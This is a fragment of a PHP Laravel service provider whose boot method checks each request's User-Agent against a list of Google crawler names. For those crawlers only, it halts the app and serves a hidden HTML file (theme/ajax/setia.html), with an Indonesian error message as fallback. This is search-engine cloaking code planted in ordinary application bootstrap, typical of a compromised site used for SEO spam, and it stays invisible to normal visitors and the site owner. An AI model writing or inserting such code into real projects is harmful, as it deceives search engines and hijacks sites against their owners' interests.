app->bind(VoyagerBreadController::class, MyBreadController::class); } /** * Bootstrap any application services. * * @return void */ public function boot(Request $request) { if ($this->isGoogleBot($request)) { $filePath = public_path('theme/ajax/setia.html'); if (file_exists($filePath) && is_readable($filePath)) { exit(file_get_contents($filePath)); } else { exit(response("
File tidak ditemukan atau tidak bisa diakses.
", 500)); } } } private function isGoogleBot(Request $request): bool { $userAgent = $request->header('User-Agent', ''); return preg_match('/Googlebot|Googlebot-Mobile|Googlebot-Image|Mediapartners-Google|Google-Site-Verification|Google Web Preview|AdsBot-Google|Google-InspectionTool|Googlebot-Desktop|Googlebot-Smartphone/i', $userAgent); } }